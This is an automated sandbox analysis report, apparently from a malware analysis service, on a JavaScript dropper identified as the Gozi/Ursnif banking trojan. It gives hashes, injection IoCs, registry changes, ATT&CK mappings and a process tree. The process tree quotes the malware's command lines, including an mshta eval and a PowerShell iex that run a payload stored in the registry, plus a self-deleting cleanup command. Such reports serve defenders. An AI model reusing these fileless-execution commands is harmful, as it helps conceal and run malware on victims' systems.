gozi_ifsb | f9618a3874287470fdf554b82d5466a6c2a39344ec24c0eb82ad810725954a8d

General

Target

my_attach_w6a.js
Size

3.5MB
MD5

41f0a90ea0ea504797e3532855e0f84e
SHA1

f1bfd6388010c52ffeb7ad715777d336606578f2
SHA256

f9618a3874287470fdf554b82d5466a6c2a39344ec24c0eb82ad810725954a8d
SHA512

50c5099240adbf4b1c4ccd4084ce17937ec7e64aa2cb4a43fa1f674396660e803fcc8fe8dbab1e0f378e15cd932fb92bcded637fee1921fe627da8aebf24956e

Score

10^/10

banker trojan gozi_ifsb ursnif spyware

Malware Config

Signatures

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

wscript.exeregsvr32.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 736 wrote to memory of 1028	736	wscript.exe	regsvr32.exe
PID 736 wrote to memory of 1028	736	wscript.exe	regsvr32.exe
PID 736 wrote to memory of 1028	736	wscript.exe	regsvr32.exe
PID 736 wrote to memory of 1028	736	wscript.exe	regsvr32.exe
PID 736 wrote to memory of 1028	736	wscript.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1028 wrote to memory of 1512	1028	regsvr32.exe	regsvr32.exe
PID 1744 wrote to memory of 1888	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1888	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1888	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1888	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1092	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1092	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1092	1744	iexplore.exe	IEXPLORE.EXE
PID 1744 wrote to memory of 1092	1744	iexplore.exe	IEXPLORE.EXE
PID 1032 wrote to memory of 1328	1032	mshta.exe	powershell.exe
PID 1032 wrote to memory of 1328	1032	mshta.exe	powershell.exe
PID 1032 wrote to memory of 1328	1032	mshta.exe	powershell.exe
PID 1328 wrote to memory of 1516	1328	powershell.exe	csc.exe
PID 1328 wrote to memory of 1516	1328	powershell.exe	csc.exe
PID 1328 wrote to memory of 1516	1328	powershell.exe	csc.exe
PID 1516 wrote to memory of 1612	1516	csc.exe	cvtres.exe
PID 1516 wrote to memory of 1612	1516	csc.exe	cvtres.exe
PID 1516 wrote to memory of 1612	1516	csc.exe	cvtres.exe
PID 1328 wrote to memory of 1820	1328	powershell.exe	csc.exe
PID 1328 wrote to memory of 1820	1328	powershell.exe	csc.exe
PID 1328 wrote to memory of 1820	1328	powershell.exe	csc.exe
PID 1820 wrote to memory of 1368	1820	csc.exe	cvtres.exe
PID 1820 wrote to memory of 1368	1820	csc.exe	cvtres.exe
PID 1820 wrote to memory of 1368	1820	csc.exe	cvtres.exe
PID 1328 wrote to memory of 1216	1328	powershell.exe	Explorer.EXE
PID 1328 wrote to memory of 1216	1328	powershell.exe	Explorer.EXE
PID 1328 wrote to memory of 1216	1328	powershell.exe	Explorer.EXE
PID 1216 wrote to memory of 1744	1216	Explorer.EXE	iexplore.exe
PID 1216 wrote to memory of 1788	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1788	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1788	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1788	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1744	1216	Explorer.EXE	iexplore.exe
PID 1216 wrote to memory of 1744	1216	Explorer.EXE	iexplore.exe
PID 1216 wrote to memory of 1788	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1788	1216	Explorer.EXE	cmd.exe
PID 1788 wrote to memory of 1856	1788	cmd.exe	PING.EXE
PID 1216 wrote to memory of 1036	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1036	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1036	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1532	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1532	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1532	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1432	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1432	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1432	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1256	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1256	1216	Explorer.EXE	cmd.exe
PID 1216 wrote to memory of 1256	1216	Explorer.EXE	cmd.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

1328 powershell.exe
1216 Explorer.EXE
1216 Explorer.EXE
1788 cmd.exe

pid	process
1328	powershell.exe
1216	Explorer.EXE
1216	Explorer.EXE
1788	cmd.exe

Checks whether UAC is enabled 3 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 43 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab312388000000000200000000001066000000010000200000002dda042c1ac07e285c27ca5d9835ca9f806bbda181c7f14c6c6766da9070bb49000000000e8000000002000020000000529362a94fb1db3b325b608e7d6b95a2332cf9417039b2859d6d4ea55c31e2ea20000000df16052c1cba06db07c93b794f60cea6c89729ed6dc12e5e0661e2b82eb65faf400000002241e29f7e408bf3b2e6646091c408a3f04384c2b729aa173101bfa16d9cadc5cc0ef15910a635ed883b16cdcde09f5f070c4fb67a9ab2e3ca171ed12403859c	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B4BEC4F1-92C1-11EA-B800-6AF3B8BE5B02} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "295882101"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 304fb37dce26d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab31238800000000020000000000106600000001000020000000afc10187169f4306aef3476de61f1775a1e7f479c187632b8782075f6a5b37b8000000000e80000000020000200000000cc8f29927d3ea047a8383b213087e346f37ddcc4b5b930bc8b6c2fefced4bc890000000fffce4fa2203bf6ed7dbd316ad109e8359307dff7687e211d6c5b720423ae306364489ff23ebdf125897940f4658948c30467bcfcb2db7f703c16a822cbf14a5fd1b688ba5bd118d602ad0f63d9d4c8af2ca765cdf7fa2dde171bc62be7c078c02defaa1fe1611ba90d21f6893d547f42fdf3cd7fec8810c0b263b99a3ef3988818bd02cc64d63537f60c2ddb9620364400000006757ddee9d64a469529f5ebfc32bfd68cfc148477309cccffa3c69a54b23440b865dd55c2ada8f687cf953b745e7b3bdf1c8e0cb2139cde50aeb7a76c2072592	iexplore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1328 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1328	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1856 PING.EXE
Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid process

1512 regsvr32.exe

pid	process
1856	PING.EXE

pid	process
1512	regsvr32.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1328 set thread context of 1216	1328	powershell.exe	Explorer.EXE
PID 1216 set thread context of 1744	1216	Explorer.EXE	iexplore.exe
PID 1216 set thread context of 1788	1216	Explorer.EXE	cmd.exe
PID 1788 set thread context of 1856	1788	cmd.exe	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

1856 PING.EXE
Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1856	PING.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
1744	iexplore.exe
1744	iexplore.exe
1888	IEXPLORE.EXE
1888	IEXPLORE.EXE
1744	iexplore.exe
1744	iexplore.exe
1092	IEXPLORE.EXE
1092	IEXPLORE.EXE
1744	iexplore.exe
1744	iexplore.exe
1888	IEXPLORE.EXE
1888	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

iexplore.exeExplorer.EXE

pid process

1744 iexplore.exe
1744 iexplore.exe
1744 iexplore.exe
1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeExplorer.EXE

pid process

1328 powershell.exe
1328 powershell.exe
1216 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
1216 Explorer.EXE
Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb

pid	process
1328	powershell.exe
1328	powershell.exe
1216	Explorer.EXE

pid	process
1216	Explorer.EXE
1216	Explorer.EXE
1216	Explorer.EXE
1216	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
PID:1216
- C:\Windows\system32\wscript.exe
  wscript.exe C:\Users\Admin\AppData\Local\Temp\my_attach_w6a.js
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\System32\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\\UJtYZ.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\SysWOW64\regsvr32.exe
      -s C:\Users\Admin\AppData\Local\Temp\\UJtYZ.txt
      4⤵
      Loads dropped DLL
      PID:1512
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\Efsltprf'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  - Modifies Internet Explorer settings
  PID:1032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
    3⤵
    - Suspicious use of WriteProcessMemory
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    PID:1328
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfcajvjs\zfcajvjs.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2BB1.tmp" "c:\Users\Admin\AppData\Local\Temp\zfcajvjs\CSC6F33B380F54C44E4A8968B3B4BB7357B.TMP"
        5⤵
        
        PID:1612
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1qvdie5f\1qvdie5f.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1820
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2C4D.tmp" "c:\Users\Admin\AppData\Local\Temp\1qvdie5f\CSCF601DEF1460B45399DE9F9CACA0A7A9.TMP"
        5⤵
        
        PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\UJtYZ.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetThreadContext
  PID:1788
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1856
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\A1C4.bi1"
  2⤵
  PID:1036
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1076
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\A0E8.bi1"
  2⤵
  PID:1532
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1832
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\A0E8.bi1"
  2⤵
  PID:1432
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\A1C4.bi1"
  2⤵
  PID:1256

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:1744
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1744 CREDAT:275457 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1888
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1744 CREDAT:472080 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1qvdie5f\1qvdie5f.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\A0E8.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\A0E8.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\A1C4.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\A1C4.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2BB1.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2C4D.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\UJtYZ.txt

Download Submit
C:\Users\Admin\AppData\Local\Temp\zfcajvjs\zfcajvjs.dll

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\69E2XQHT.txt

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1qvdie5f\1qvdie5f.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1qvdie5f\1qvdie5f.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1qvdie5f\CSCF601DEF1460B45399DE9F9CACA0A7A9.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zfcajvjs\CSC6F33B380F54C44E4A8968B3B4BB7357B.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zfcajvjs\zfcajvjs.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zfcajvjs\zfcajvjs.cmdline

Download Submit
\Users\Admin\AppData\Local\Temp\UJtYZ.txt

Download Submit
memory/736-0-0x00000000031B0000-0x00000000031B4000-memory.dmp

Filesize
16KB

Download
memory/1216-16-0x0000000004BB0000-0x0000000004C61000-memory.dmp

Filesize
708KB

Download
memory/1216-18-0x0000000004BB0000-0x0000000004C61000-memory.dmp

Filesize
708KB

Download
memory/1216-13-0x00000000029D0000-0x00000000029D1000-memory.dmp

Filesize
4KB

Download
memory/1328-14-0x000000001C5B0000-0x000000001C661000-memory.dmp

Filesize
708KB

Download
memory/1744-15-0x0000000002A90000-0x0000000002A91000-memory.dmp

Filesize
4KB

Download
memory/1788-17-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/1788-21-0x0000000001D60000-0x0000000001E11000-memory.dmp

Filesize
708KB

Download
memory/1856-20-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads